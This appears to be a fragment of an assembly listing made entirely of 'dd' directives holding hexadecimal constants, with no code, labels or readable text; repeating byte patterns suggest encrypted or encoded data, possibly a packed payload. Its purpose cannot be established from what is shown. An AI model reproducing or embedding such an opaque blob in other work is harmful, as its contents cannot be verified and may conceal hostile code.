dd 0FE5A33D9h, 524CC81Dh, 6AA7F5ACh, 0F6811DF8h, 74D964CDh
dd 2375009Eh, 6D9840FAh, 2B19D3BEh, 81306EA7h, 6CA75F16h
dd 4662A232h, 0FFE682E3h, 5B12B811h, 0F71C71C1h, 4DF31CA7h
dd 5026E096h, 0A7CE0292h, 1683326Ch, 78EA297Eh, 0F298019Dh
dd 0F46EA73Bh, 0DD405C1Bh, 3FFE683h, 8DB641AAh, 52C17524h
dd 83326CA7h, 153171C1h, 0FFE683B2h, 2AE187E0h, 0A6316DA7h
dd 525C0F6Ch, 0CE733D1Fh, 0B3CF5A44h, 0DDF9C882h, 0FFE7367Ah
dd 54E64FA8h, 4A19D3F5h, 0D97F1FF5h, 306EA722h, 607CBC81h
dd 0FFE682FDh, 0E624CA23h, 8717F94Eh, 67BC2AE1h, 435BB8AAh
dd 8C8734DAh, 2CD9E901h, 0B41DCEC9h, 3E7E1605h, 0E683BF22h
dd 0E68CE5FFh, 306EA72Fh, 0D4CA4BA0h, 71C1772Eh, 83B21531h
dd 87E0FFE6h, 7CBC2AE1h, 49B5E927h, 0FFE682E6h, 600DB30Ch
dd 0FF63AFB3h, 0D5FE8915h, 4FB8E16Ch, 297E16A0h, 0FE27B2ECh
dd 6EA7A158h, 5F168130h, 0A0BC0E85h, 0FFE68341h, 0C157065Fh
dd 326CA752h, 7A52C183h, 2B19D31Bh, 7CBC0E85h, 0E682FD60h
dd 24CA23FFh, 8311708Ch, 0C52FFFE6h, 16F9BEB6h, 52016A0Fh
dd 203C7CBCh, 0FFE683BDh, 70E48AE3h, 0FFE6830Dh, 28769E33h
dd 7B0B749Dh, 24AFEF26h, 169E55FBh, 0F66CA75Fh, 0CBF47F1Fh
dd 7E16B362h, 0DB2EC29h, 3FF69C02h, 0A9346AA7h, 83DA3D59h
dd 0AF08FFE6h, 0E7277F46h, 0E68368CBh, 8F358EFFh, 3DA0BCD8h
dd 14FFE683h, 0C04B53BFh, 0FB23B886h, 0C932F0DEh, 0F181DA23h
dd 0EA3295B1h, 760FFE6h, 71C1AA61h, 5ABF31Ch, 0AA67BC4Eh
dd 9B4069F4h, 719A2579h, 0ADF11ECBh, 7A52C1FEh, 4A19D31Bh
dd 0DE841AF5h, 0BC0E8527h, 0E6833DA0h, 5B0A63FFh, 833DA0BCh
dd 0A63FFE6h, 0BB1E3A7Ah, 85FFE683h, 74CD0E90h, 5F1617CEh
dd 7CBC0E85h, 0DB3EB27h, 0E6833699h, 54035CFFh, 86E052C1h
dd 2E0EBDCFh, 67BC5BBAh, 0CA4BF1ADh, 0E852210h, 833DA0BCh
dd 0A63FFE6h, 0BB1E3A7Ah, 9AFFE683h, 0E6831B7Eh, 0AFF049FFh
dd 3D61B156h, 2CE389B2h, 833DA0BCh, 0A63FFE6h, 69103A7Ah
dd 0EE12AC3Ah, 0E797FA66h, 28BDFFE6h, 0A64CB5E9h, 0BC5F16EFh
dd 0AA8A6792h, 0FA167BE9h, 0FFE77597h, 55FB64BDh, 883767A8h
dd 0E855F16h, 0FD607CBCh, 23FFE682h, 0B21B838Eh, 0FF29790Ch
dd 0B50A95C7h, 0AC63096Bh, 52C10E85h, 863569A7h, 42547E16h
dd 0D8E855Fh, 0F4853CE2h, 0D9C54FA4h, 0C87F254Eh, 0E6837DE0h
dd 6CA735FFh, 0CD42A732h, 0B7207E95h, 0E09AD32Ch, 0FC266638h
dd 2BC2107Fh, 22D97F8Bh, 9F2B19D3h, 0E085F4F8h, 0FFE6837Dh
dd 0BC5BBA35h, 82FD607Ch, 55BFFFE6h, 9AF0849h, 9FE0CE88h
dd 336BA7F8h, 8552C184h, 3DA0BC0Eh, 63FFE683h, 0D25D41CEh
dd 0BC9140A9h, 82FD607Ch, 0CA23FFE6h, 0F94EE624h, 2BE28816h
dd 0E8585F4h, 1E7392BCh, 17A5C3B6h, 0A76FDE71h, 63A3336Bh
dd 0E682E447h, 13B912FFh, 0F45F165Ch, 607CBC85h, 0FFE682FDh
dd 19858E23h, 33960AB0h, 0F3FFE683h, 19D31B7Ah, 7F1FF54Ah
dd 67BC22D9h, 3D66F1ADh, 0A73BE297h, 4919F76Bh, 2049D4CAh
dd 73032CB7h, 0E682F457h, 60C922FFh, 4771C1B1h, 77EDD0AAh
dd 6E25CBCFh, 0E6837DE0h, 3A7A35FFh, 837BDEFAh, 50A9FFE6h
dd 19D3F3AAh, 7E20F54Ah, 6BA721D8h, 5F168433h, 0A3336BA7h
dd 697E2679h, 0B949DEF5h, 0E6D83A9Dh, 690F68FFh, 0E052C1B2h
dd 0FFE6837Dh, 0E53A7A35h, 5EE3612Ch, 4ADEF626h, 0BC843BE1h
dd 66E22392h, 0D83AEB22h, 36B75DC6h, 6BA78E7Ch, 0C44EA333h
dd 167D34DAh, 32D855Fh, 34F184AEh, 2BE2883Bh, 6BA752C1h
dd 838DF00Ch, 5AB3FFE6h, 71C142F1h, 83B21531h, 87E0FFE6h
dd 0E852AE1h, 8341A0BCh, 65FFFE6h, 0A967BC57h, 9B416AF5h
dd 6BA7A65Dh, 5F168433h, 8F5C92BCh, 880A6D89h, 0DF38FFE6h
dd 82972E65h, 5F9F27DCh, 0E690E043h, 7AD06FFh, 9BC9E050h
dd 0BC69FFE6h, 82FD607Ch, 0CA23FFE6h, 0BB1ED25h, 3DECB25Eh
dd 0A0BC52C1h, 0FFE6833Dh, 4B8C12FFh, 0BCB42BF2h, 0E6833DA0h
dd 44CE63FFh, 20ABF31Eh, 9E038EF7h, 55BE2777h, 0F35F16A6h
dd 0E53ACA96h, 0BEE7722Ch, 0A0BC6118h, 7E0AD0Eh, 168C3B94h
dd 0B5E9297Eh, 9A3A573Bh, 1FC5BA71h, 0F86AA768h, 0D3FC8717h
dd 0D7B0DA6Ah, 0BB4A1A88h, 0C141F89Eh, 0C8114771h, 0F4B9A054h
dd 85F4974Eh, 35236AA7h, 0BB85780Ch, 0B43396B2h, 861FFE6h
dd 51A6369Fh, 2750DBC3h, 5F16CA81h, 863569A7h, 32E052C1h
dd 0E15A6CDAh, 8C17878Ch, 0A706BD63h, 65A53569h, 0D5CC923Bh
dd 0B92556D1h, 0FFE75056h, 0C67D237Ch, 0D5547E16h, 89A21839h
dd 0A79950F6h, 0C1863569h, 23237B52h, 7CBC2AC9h, 0E682FD60h
dd 828E23FFh, 0FF68911Ch, 301ED859h, 0F5A967BCh, 0EE9B416Ah
dd 16CD7C22h, 3569A75Fh, 0E052C186h, 0FFE6837Ah, 0D321D83Ah
dd 69A72B19h, 7E168635h, 2B30E854h, 660CC8B8h, 3569A7AFh
dd 1C71C186h, 0F3AB6AF8h, 0E02DE48Ah, 0FFE6837Ah, 0D321D83Ah
dd 69A72B19h, 5F168635h, 0A4346AA7h, 8AE6477Ah, 8B853D6Dh
dd 0F65F8813h, 67BC9950h, 4757B9A9h, 842A93BCh, 0C34CA1F1h
dd 0E07E35DBh, 5D6A1DEh, 346AA796h, 0A75F1685h, 0C185346Ah
dd 837AE052h, 0D83AFFE6h, 2B19D321h, 85346AA7h, 6AA75F16h
dd 52C18534h, 0A724247Bh, 46AB3668h, 0C0BBC4C9h, 50BAFCFEh
dd 1CF75CE7h, 0DC7F082h, 0D343E265h, 6AA72B19h, 838EF10Dh
dd 5BB4FFE6h, 5F1643F2h, 17F86AA7h, 0C16F1E87h, 0A5F91C71h
dd 0FF8A1400h, 0BC7930D6h, 82FD607Ch, 54BFFFE6h, 0AB0094Ah
dd 0E6833096h, 55BA0FFFh, 0EF95BE49h, 316DA738h, 0CAD441A6h
dd 38F2233Fh, 0D3651C90h, 6AA72B19h, 7E168534h, 12B8E629h
dd 0FA68A75Bh, 9237716h, 0A5FB5166h, 0C124D33Ch, 90FDE052h
dd 94D40847h, 90D53854h, 0A2FB0847h, 4790D336h, 1442C808h
dd 0DE628A85h, 4993339Dh, 7E752AD6h, 0A7B86F15h, 51A63668h
dd 2750DBC3h, 5F16CA81h, 0A63668A7h, 71A4BE51h, 0F11FC42Dh
dd 0C15007ADh, 0A967BC52h, 0F6DB4FF5h, 0B2049DDAh, 19D351C8h
dd 831BF54Ah, 8374D7F3h, 49A2FFE6h, 68A7ECA3h, 7CBC8736h
dd 8AFA4752h, 0AD19F7C5h, 0FFE6F14Ah, 9B7A1F78h, 0A94F7803h
dd 68A7B46Bh, 425E19FAh, 0FFE683DFh, 0B843AC05h, 0BC77268Fh
dd 50F6A867h, 167D4EBDh, 0F0AE67BCh, 0A7550C4Ah, 66A63668h
dd 0E682E74Ah, 0EB40DFFh, 0E052C157h, 4413F517h, 0E63B39Fh
dd 3BF29806h, 0B9A967BCh, 4ED9425Ch, 44FE7F25h, 3668A756h
dd 0A75F1687h, 0C1873668h, 0D36B0A52h, 92BC2B19h, 35542C11h
dd 0DE0F89F7h, 15632159h, 1CD311B7h, 15FA68A7h, 82E34662h
dd 0B811FFE6h, 3668AA4Fh, 52C11ECDh, 778A99E0h, 1B7A59CDh
dd 0BC2B19D3h, 60B4AE67h, 218AB33Eh, 5D41CE7Bh, 3E7E16AEh
dd 0E683BF22h, 0E68CE5FFh, 0F86AA72Fh, 0D1FA8519h, 71C1B968h
dd 3631F347h, 0BE640010h, 3668A707h, 1C71C187h, 0F31CA7F7h
dd 89F0964Dh, 0BC2B19D3h
dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 0A8F61F74h, 28D1103h
dd 167C33D9h, 4192BC5Fh, 0E2BC599Ch, 94B42E57h, 9542E818h
dd 6416137Ah, 7B6C4E59h, 0E764FC5Fh, 68D12AFFh, 5F1650FFh
dd 85346AA7h, 0FD607CBCh, 23FFE682h, 229124CAh, 0B15F36E0h
dd 5BBABE34h, 0A72B19D3h, 8EF10D6Ah, 0B4FFE683h, 1643F25Bh
dd 3569A75Fh, 0A752C186h, 0BC85346Ah, 82FD607Ch, 0CA23FFE6h
dd 0A7229124h, 8717F86Ah, 0DF6AD3FCh, 0C4E0977Ah, 0FFE68361h
dd 42CD368Fh, 4EF6B0E9h, 19D31D7Ch, 3569A72Bh, 0AA67BC86h
dd 78104EF4h, 83B91C38h, 52E7FFE6h, 2750DBC3h, 0A76118BEh
dd 1685346Ah, 346AA75Fh, 5D8A7AA4h, 617B2CDh, 52C1A960h
dd 863569A7h, 1B7A52C1h, 0FD607CBCh, 23FFE682h, 0E9A324CAh
dd 346AA7FBh, 0E54864A4h, 0BFFE682h, 16550CB2h, 3569A75Fh
dd 0A867BC86h, 9D426BF6h, 45832975h, 346AA78Eh, 0E052C185h
dd 0FFE6837Dh, 0BC5BBA35h, 55811292h, 872DC0D9h, 0BC5E4C06h
dd 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh, 0CAD43DEAh
dd 855F161Bh, 0A752C10Eh, 0C185346Ah, 0BC0E8552h, 89114692h
dd 0B85D2809h, 93BC4757h, 0DA3955EDh, 8FFE721h, 0C3DF1FAFh
dd 0FFE72160h, 7E20F186h, 16B86F15h, 0B5E9297Eh, 6AA7580Fh
dd 92BC8534h, 852BBEE8h, 0F533D9C7h, 0F46EA73Eh, 0CDF6811Dh
dd 0F0459D64h, 89EE7925h, 8AD1688h, 35EC920Ch, 0F91C71C1h
dd 8C1200A5h, 7B32D801h, 69A7F89Fh, 838FF20Eh, 20B5FFE6h
dd 0FB24AFEFh, 44992992h, 0C46D1CDh, 0F35EDD1Bh, 38DE47A2h
dd 1C71C181h, 1104A9F5h, 33D9028Dh, 0D82D857Ch, 0B1DA6539h
dd 0A0BC540Bh, 0FFE6833Dh, 8004EA14h, 3BEDE747h, 5BB74C95h
dd 268FB843h, 3E7E1677h, 837FE2FEh, 4CA5FFE6h, 0E6837DE0h
dd 0B339A3FFh, 0DC1CF6CBh, 0AA610770h, 3AD82D85h, 4B53BF64h
dd 3AF197C0h, 0E8552C1h, 0F0AE67BCh, 3963C65h, 316DA794h
dd 547E1682h, 487F544h, 0FBB25849h, 7DE085F4h, 35FFE683h
dd 16103A7Ah, 3C965984h, 0D38D44EAh, 0F89F2B19h, 82316DA7h
dd 92BC52C1h, 0A5CF7B8Ch, 0F353F965h, 316DA784h, 90C61A1h
dd 75E10A95h, 0FFE68312h, 266DE740h, 56F569F2h, 0BCECA349h
dd 50F6A867h, 6DA75B12h, 0D34220F5h, 0AE1740CBh, 0E291FA23h
dd 7DE052C1h, 35FFE683h, 19D31B7Ah, 206DA72Bh, 0BDD9C9ACh
dd 0FFE6C35Ah, 3BB52F88h, 77268F98h, 223E7E16h, 0FFE683BFh
dd 0E64965E5h, 0CFFE682h, 0EDA44AB3h, 0A1316DA7h, 375DF477h
dd 138D6539h, 0E3DEA89Bh, 0DA913788h, 0D4CD92BCh, 0B87DE10h
dd 0E7818CEFh, 0F861BAFFh, 0E050BF52h, 0FFE6837Dh, 0D31B7A35h
dd 6DA72B19h, 5F168231h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h
dd 0E1227BFFh, 0DF35E288h, 52C110BFh, 4A032D85h, 0D4D58DC8h
dd 0BCCC8329h, 0E6833DA0h, 0B3EA14FFh, 0CD21F6B2h, 0F186CF75h
dd 0CDD13E24h, 47B0D964h, 0ECB262B7h, 4AD5C947h, 0BCC47B21h
dd 6AF5A967h, 309C030h, 7AE33C8Fh, 9CF141D4h, 759E2975h
dd 7CBC18CFh, 0E682FD60h, 24CA23FFh, 3F09D77h, 0E4D246A5h
dd 8F6A3B15h, 7B952715h, 7E166312h, 7FE2FE3Eh, 0A5FFE683h
dd 837DE04Ch, 4AA3FFE6h, 0E85EDA4h, 0F4AA67BCh, 379AB64Eh
dd 5DFFE683h, 0EB544AC8h, 855F163Ch, 9F52C10Eh, 0CA96F3F8h
dd 732BE53Ah, 8364C7E3h, 3992FFE6h, 0A0BCDC93h, 7E09FE2h
dd 0C217A700h, 0AA0D294Eh, 0D807E09Fh, 628B167Fh, 52C105BCh
dd 38D82D85h, 0C109C066h, 0C10E8552h, 3569A752h, 0E64965A5h
dd 0CFFE682h, 16560DB3h, 4FA4F45Fh, 2A749DC5h, 670D769Fh
dd 0AB67BCB0h, 993F68F3h, 0E683C225h, 69A782FFh, 0CF45AA35h
dd 89B244CFh, 0F65527CFh, 0BAA867BCh, 51DC4559h, 47018228h
dd 0A7F89F59h, 821CF56Dh, 52C16A19h, 0EB7AA4F4h, 18BC2E95h
dd 0A7B36A10h, 1682316Dh, 316DA75Fh, 0E052C182h, 0FFE6837Dh
dd 0D31B7A35h, 6DA72B19h, 67BC8231h, 0E4CF2ACh, 346AA757h
dd 0E052C185h, 66018F15h, 0F4AA67BCh, 6AA7974Eh, 0A1555E23h
dd 0EB54FF00h, 0A75F163Ch, 4FA4346Ah, 2851DCC2h, 71C1CB82h
dd 0A26EF41Ch, 36ED93FCh, 40217Bh, 0E68381E4h, 0B056AFFFh
dd 0D37221F9h, 6AA72B19h, 92BC8534h, 0D34C0C09h, 43812722h
dd 0AC67BC8Ch, 729F4CF2h, 52C17D2Ch, 0ED277CBCh, 82E245B1h
dd 0B710FFE6h, 0DCDC3811h, 19D32AC9h, 346AA72Bh, 0BC5F1685h
dd 0B1ED277Ch, 2E91FD26h, 0F0FFE683h, 0C6EF7A24h, 809C2C85h
dd 0FFE6831Dh, 9744EA43h, 0C175247Ah, 23237B52h, 0A7326CA7h
dd 45D0CE42h, 2206C001h, 1A45AEF0h, 2B19D36Bh, 85346AA7h
dd 0F2AC67BCh, 36760E4Ch, 0E683B71Ah, 0FF73DDFFh, 601542F8h
dd 0A35A0069h, 9A3792BCh, 7689227Ah, 74EE23D0h, 514DC49Eh
dd 0CB349DC6h, 3171C11Ch, 0C7DA8407h, 0AF1B01C7h, 0FFE6FB4Ch
dd 7591217Ah, 0FFE6FB12h, 8A41E740h, 0F4AA67BCh, 0C39A4069h
dd 0A75F165Ch, 0C183326Ch, 75EFE052h, 0A787FFB3h, 1683326Ch
dd 607CBC5Fh, 0FFE682FDh, 7724CA23h, 0C155049Ah, 394E4771h
dd 6C061891h, 6CA70FC6h, 52C18332h, 0F0257ABAh, 54FA23AEh
dd 1592BC9Dh, 0E5A35894h, 16D051F7h, 607CBC28h, 0FFE682FDh
dd 5B6818EAh, 2667DA13h, 977A27CDh, 5F165807h, 0A2326CA7h
dd 82E34662h, 0B811FFE6h, 5F165B12h, 82316DA7h, 0CCAB67BCh
dd 0E6834DB0h, 0B11A73FFh, 0A709780Bh, 0C185346Ah, 336BA752h
dd 0CFCF43A8h, 3DF72844h, 0D364C395h, 50204A19h, 0F3AB6886h
dd 40C53F68h, 37EE94CDh, 82316DA7h, 6AA75F16h, 67BC8534h
dd 0D4BF1ADh, 0C10E8556h, 0A6DA752h, 0E6838BEEh, 0F760B9FFh
dd 8552C148h, 41A0BC0Eh, 10FFE683h, 0A04559BBh, 3D862C72h
dd 0E6C1A3D3h, 0C932AFDEh, 0A75F161Ah, 1682316Dh, 0BCF89F5Fh
dd 4CF2AC67h, 95940BD8h, 2D85AB48h, 5E503DD8h, 68D4A13Bh
dd 6219BF28h, 0FD607CBCh, 0BFFFE682h, 9AC34E50h, 0C75A0059h
dd 0D1FA4D77h, 0D14F7D3Dh, 2D85742Bh, 0BB613DD8h, 0BC52C104h
dd 61F1AD67h, 0E682E245h, 11B710FFh, 5EEEB064h, 0C970709h
dd 0A7326CA7h, 0B86F157Eh, 85F45F16h, 0E6837DE0h, 68A735FFh
dd 0CD46AB36h, 794736C0h, 8BF4ABA0h, 8B456E00h, 0D3B211E3h
dd 1DF54A19h, 9F24DB81h, 0AB6ED17h, 0FEAEAAF9h, 7CBCA158h
dd 0E682FD60h, 25CA23FFh, 0FD26B1EDh, 3866AA57h, 0F452C189h
dd 3569A785h, 9EC450A5h, 759E2975h, 16AF660Ch, 216CA75Fh
dd 0A4473D04h, 0E08FF8AFh, 54771C1h, 4C6B4810h, 0E06219BFh
dd 0FFE6837Dh, 326CA735h, 0E01F78A2h, 107EBC62h, 5F16B36Ah
dd 863569A7h, 6CA752C1h, 838CEF0Bh, 61BAFFE6h, 8352B5D1h
dd 2780FFE6h, 52C10FBEh, 67BC1B7Ah, 416AF5A9h, 72601A9Bh
dd 863569A7h, 0FD607CBCh, 23FFE682h, 2FE624CAh, 1DF66CA7h
dd 64CDF681h, 297E16B5h, 59979E9h, 0A73FF69Ch, 0C1863569h
dd 837DE052h, 2A54FFE6h, 3DAE936Bh, 34EB911Bh, 0A8336BA7h
dd 41CCD243h, 0C0A27318h, 98C14C52h, 124BA42Fh, 86749F58h
dd 853731B7h, 0D3EB4A1Ch, 50204A19h, 278F939Eh, 0A7863DE3h
dd 16863569h, 0B3EB297Eh, 0E85560Dh, 0F91C71C1h, 0A748FFA5h
dd 0C1863569h, 0BC0E8552h, 0E68341A0h, 57065FFFh, 69A75F16h
dd 7E168635h, 28B3EB29h, 8359BCD8h, 2E87FFE6h, 85681FC5h
dd 9F52C10Eh, 607CBCF8h, 0FFE682FDh, 0C324CA23h, 0C90999C7h
dd 0E6834AADh, 0A51F78FFh
dd 0DCE99AA6h, 0D38A3092h, 6DA752C1h, 0F8831BF5h, 0BCB766CFh
dd 65F0AE67h, 9403963Ch, 19D330E7h, 7492BC2Bh, 3525B7BBh
dd 0CB03D379h, 6938753Ah, 0AD2h, 0F46EA7FAh, 0CEF7821Ch
dd 52C1B665h, 6EA785F4h, 7E168130h, 11B7E729h, 326CA75Ah
dd 9BC74DA2h, 17BD2678h, 8F92BC60h, 0F054D2F2h, 710C1D97h
dd 0F6AEA2F7h, 436DBD50h, 11B3B470h, 8BF6599h, 0CFCFEE0h
dd 7995D53Fh, 3F0CFC16h, 863DE33Ch, 0A2326CA7h, 50DBC34Dh
dd 0BCCA8127h, 73D33092h, 0C656DD02h, 0E6D647AAh, 6E146DFFh
dd 6CA77930h, 52C18332h, 0C009F8E0h, 0CB4A9FC0h, 0A7762DD3h
dd 831BF66Ch, 0EA2A8F1Ah, 98060FB4h, 98527B0Dh, 0D3BF1EF0h
dd 6CA72B19h, 5F168332h, 0A0306EA7h, 31D7C74Bh, 0AD67BC7Ah
dd 68B84BF1h, 0FAA0FE13h, 326CA743h, 0AA67BC83h, 0B04069F4h
dd 0E6833194h, 60065FFFh, 1B7A5ECDh, 0CAAD67BCh, 0E6834BAEh
dd 0B72079FFh, 0E8D69011h, 81306EA7h, 18547E16h, 0EA365B01h
dd 0A72DE48Ah, 1683326Ch, 27E93E7Eh, 83A80B77h, 75CEFFE6h
dd 6AA718CFh, 0C64FA434h, 7E244DD8h, 0E052C1C7h, 0FFE6837Dh
dd 346AA735h, 0C2EC7AA4h, 4F97372Fh, 2750DBC3h, 166118BEh
dd 0B6E8297Eh, 544AC62Bh, 0A78E45EBh, 0C181306Eh, 346AA752h
dd 0A752C185h, 28FA1F6Eh, 0F66CA23Dh, 759D028Dh, 0E908429h
dd 37F12A83h, 0D39EFD8Fh, 6EA72B19h, 5F168130h, 85346AA7h
dd 0FD607CBCh, 23FFE682h, 2FE624CAh, 81306EA7h, 0E8552C1h
dd 0F1AD67BCh, 0FF973D66h, 0E68380E3h, 0FB1757FFh, 0FFE68398h
dd 76BF65BEh, 52C16E1Dh, 19D344B3h, 0AC67BC2Bh, 769F4CF2h
dd 0ED7826ECh, 16AC5BC4h, 316DA75Fh, 3FB67DA6h, 7CBC52C1h
dd 0E682FD60h, 0AD62EAFFh, 0A63052A5h, 0B9660C65h, 3AD315Ch
dd 0C22C6EF0h, 71C1AA59h, 0B6640731h, 9C9F48A7h, 0E698CD30h
dd 0F49AF3FFh, 0A6DA73Dh, 0E6838BEEh, 0F760B9FFh, 9D001C6Ch
dd 0C3FFE683h, 4F4FC56Ah, 8F4972C4h, 0D3DF4EE7h, 0E852B19h
dd 0A67B92BCh, 2051CCBEh, 640A947Bh, 4B4DB0CCh, 0CF24FFE7h
dd 6BB45A44h, 4B6CCFEBh, 59AFFE7h, 0BF28910Dh, 0A75F1610h
dd 811DF46Eh, 0B564CDF6h, 0E8552C1h, 833DA0BCh, 0EA14FFE6h
dd 78B8B475h, 203CCCECh, 0FFE6E5BDh, 9BE48AE3h, 52C19342h
dd 67BC44B3h, 0CF50F6A8h, 23F14615h, 21C7F07Bh, 6A92BC6Ah
dd 69F3AD49h, 21F4A147h, 5F16CE7Dh, 52C10E85h, 69A7F89Fh
dd 52C18635h, 92BC0E85h, 9F4B2B08h, 0B54DF3F9h, 0E6F33699h
dd 5AB80DFFh, 0EB90B944h, 0C6EF7A24h, 0CF7ED720h, 0E855F16h
dd 6EA752C1h, 147D21F4h, 0BDE12F84h, 67BC6017h, 1250F6A8h
dd 346AA75Bh, 0F452C185h, 346AA785h, 0BC5F1685h, 50F6A867h
dd 81306EA3h, 0F4AA67BCh, 79A4069h, 0A967BC98h, 78DB4FF5h
dd 30FFE683h, 67BC1B7Ah, 0C84CF1ADh, 7C224BD6h, 0BC5341FBh
dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 2792BC55h, 0CED03F8Eh
dd 57A01A43h, 0C705AB04h, 6737DA2Fh, 68A70AC1h, 8390F30Fh
dd 5DB6FFE6h, 0B9445AB8h, 0C1782790h, 0B2153171h, 0E0FFE683h
dd 0E02AE187h, 38BCB532h, 0FA68A7C2h, 6B1A831Bh, 92BC5F16h
dd 0BE84C041h, 6CCFEB09h, 9AFFE703h, 8532D841h, 0C165148Ah
dd 0E7D8E052h, 3F7F5681h, 81E7C023h, 0C286AD56h, 0AE5C5AC9h
dd 0B76E146Dh, 0A6316DA7h, 41CCD241h, 4DF5AFE8h, 19D352C9h
dd 3668A72Bh, 0A75F1687h, 90F30F68h, 0B6FFE683h, 0C145F45Dh
dd 0D36B0A52h, 7E162B19h, 9B79E929h, 0E60F9A03h, 68A78940h
dd 52C18736h, 78A396E0h, 3A7A1E10h, 0EAD0A710h, 0A20CCFC9h
dd 477CF675h, 0F558744Ch, 1BFFE744h, 0FCB359C2h, 0F54A19D3h
dd 22D97F1Fh, 873668A7h, 67BC5F16h, 9D4AF0AEh, 3AAE1974h
dd 0A91F55F1h, 28910D04h, 0A752C179h, 51A63668h, 833AE0BEh
dd 1B7A52C1h, 0F54A19D3h, 0CFCF461Ch, 0BC09C066h, 0EA16A792h
dd 892F54DBh, 0BA6935DCh, 68A75F16h, 0B27F325h, 951E9806h
dd 0D180E9F4h, 6AA75F16h, 67BC8534h, 3D66F1ADh, 85950497h
dd 613DD82Dh, 76A86D6h, 2DFFE683h, 0D0F16BD4h, 5B9F13C0h
dd 0BC964DF3h, 0E6833DA0h, 5B0A63FFh, 6AA752C1h, 5F168534h
dd 7CBC0E85h, 9A79E927h, 0E7507904h, 198D335Ch, 0FFE683B6h
dd 89D9388Dh, 1EA9128Ch, 9C064FF5h, 2735CAF2h, 63127B01h
dd 0E855F16h, 0F89F52C1h, 0F10D6AA7h, 0FFE6838Eh, 62F25BB4h
dd 0F59B030Dh, 0E052C13Eh, 0FFE6F443h, 336BA7F3h, 0D7C74EA3h
dd 71C17A31h, 94B05147h, 56FCF6A8h, 0C364D29Fh, 0D1487DA7h
dd 67BC930Ah, 166F1ADh, 0D9028D11h, 1632CA70h, 0FFE683B3h
dd 0D3365292h, 1FFE683h, 60B902A8h, 3E7E16B1h, 0E683BF22h
dd 0B67BE5FFh, 3925F95Ch, 0B36A1079h, 0D8A74E0h, 6BA7040Bh
dd 5F168433h, 1BF76BA7h, 0C16B1A83h, 0F86AA752h, 6918811Dh
dd 67BC5F16h, 405EB6ACh, 98238CB5h, 0F61CC96Fh, 5F16F9A8h
dd 0BAA867BCh, 94BD4856h, 3DD8852Bh, 52C1B261h, 85346AA7h
dd 1B7A52C1h, 0EA277CBCh, 82E548B4h, 0B20BFFE6h, 0E3D18B0Ch
dd 0E4A967BCh, 16F7C9B4h, 5B016AEEh, 883767AEh, 2D855F16h
dd 5C52C3EDh, 0C92C7595h, 0E724FA5Dh, 829328FFh, 0FF68911Ch
dd 52C1A259h, 0A4346AA7h, 5909167Ah, 1BC14B6Dh, 0BC5F1664h
dd 50F6A867h, 82316DA3h, 7CBC52C1h, 0E682FD60h, 25CA23FFh
dd 0FA23AEF0h, 0A785F454h, 831BF969h, 0B766CFF8h, 92BC5F16h
dd 1DB27A6Fh, 0C0DE351Ah, 0FDA30C35h, 2FDEC050h, 92BC52C1h
dd 52C077A8h, 1E98C14Ch, 0AE549C00h, 0E695D73Ah, 1B7A8FFFh
dd 0A72B19D3h, 7FDE2469h, 2C6FD821h, 5F1614C3h, 0FD607CBCh
dd 23FFE682h, 997724CAh, 0EF207505h, 55FB24AFh, 0BC52C19Eh
dd 66F1AD67h, 0AB59C33Dh, 208ECC9Ch, 88A3067Ah, 7A63FFE6h
dd 0FF5A103Ah, 81FBA372h, 0B359A905h, 2B19D3FCh, 0FD607CBCh
dd 23FFE682h, 0B95676B9h, 3CA56B51h, 7727E996h, 0A75F16C8h
dd 8F02568h, 1D01C933h, 390029B4h, 2285A1E1h, 50FFE6FBh
dd 0FB51B4D0h, 267FFFE6h, 0A4FA18BDh, 67BC47FEh, 4AADC9AEh
dd 78FFE683h, 22BB61Fh, 45EBB35Dh, 69A743B2h, 52C18635h
dd 3AD82D85h, 0AB0D964h, 0AC67BC53h, 983E67F2h, 8385E400h
dd 5AB3FFE6h, 297E16ABh, 29B4EAh, 69A7A35Ah, 5F168635h
dd 6EA7F89Fh, 52C18130h, 0A53569A7h, 0DFCCC150h, 66DF22F4h
dd 53FCA33h, 0D6B60473h, 1BC12A89h, 4771C164h, 37A45C61h
dd 0DCC24F1Eh, 5D41CE73h, 4C03A9D2h, 2EE53A7Ah, 0D313CA70h
dd 6EA72B19h, 5F168130h, 81306EA7h, 74E052C1h, 40B0D8Ah
dd 19D35BBAh, 0AB67BC2Bh, 993F68F3h, 0D93929ECh, 16AD5CC5h
dd 306EA75Fh, 0A752C181h, 0C182316Dh, 0D344B352h, 6EA72B19h
dd 0C64BA030h, 7E244DD8h, 0A75F16C7h, 0BC82316Dh, 0B0486D92h
dd 7EA3EA7h, 1EE15B71h, 0C4DA36CAh, 0B322B55Bh, 6DA785F4h
dd 49B80620h, 1D866632h, 0A75F166Eh, 8BEE0A6Dh, 0B9FFE683h
dd 0C148F760h, 837DE052h, 0FF54FFE6h, 99FE8915h, 15BB247Ah
dd 0D31B7A5Eh, 7CBC2B19h, 0E682FD60h, 87A323FFh, 0FFE68324h
dd 0EA90F952h, 18C7D73Dh, 6DA75F16h, 71C18231h, 50FC0D47h
dd 0B42E3FDAh, 379E6E5Bh, 2EE58BD8h, 0E6837DE0h, 5BBA35FFh
dd 0A72B19D3h, 1682316Dh, 3B7E547Eh, 0C51671C1h, 2D85681Fh
dd 573F1403h, 54FA1DA6h, 0A752C19Dh, 77A1316Dh, 0F4E290Bh
dd 6BD63BFh, 0E8552C1h
dd 8341A0BCh, 0DF5FFFE6h, 0E68360C3h, 9D2D86FFh, 0E6831E81h
dd 82EB44FFh, 2B739DF2h, 1AD177A0h, 6DA75F16h, 5F168231h
dd 6CA7F89Fh, 0F5801EF6h, 0A9D363CCh, 1B6EAF2Bh, 12C96FE1h
dd 0F51C71C1h, 4FF51EA9h, 0BC0E8598h, 0E6833DA0h, 5B0A63FFh
dd 0F6A867BCh, 0A75B1250h, 0C1873668h, 8381E052h, 0BC31FFE6h
dd 65F0AE67h, 26E9963Ch, 67BCC978h, 0F4DF3ABh, 3668A758h
dd 0DEC051A6h, 7E9A2A53h, 0FFE6831Bh, 934AF049h, 0FD607CBCh
dd 0BFFFE682h, 95BE4955h, 9E81FB54h, 3DCFE1E6h, 7BEA7D23h
dd 0F2AC67BCh, 0EB983E67h, 16C77628h, 0C10E855Fh, 0A6F81C71h
dd 8B1301h, 0BC7A31D7h, 0D8FC9592h, 9E4438F0h, 3D591EF1h
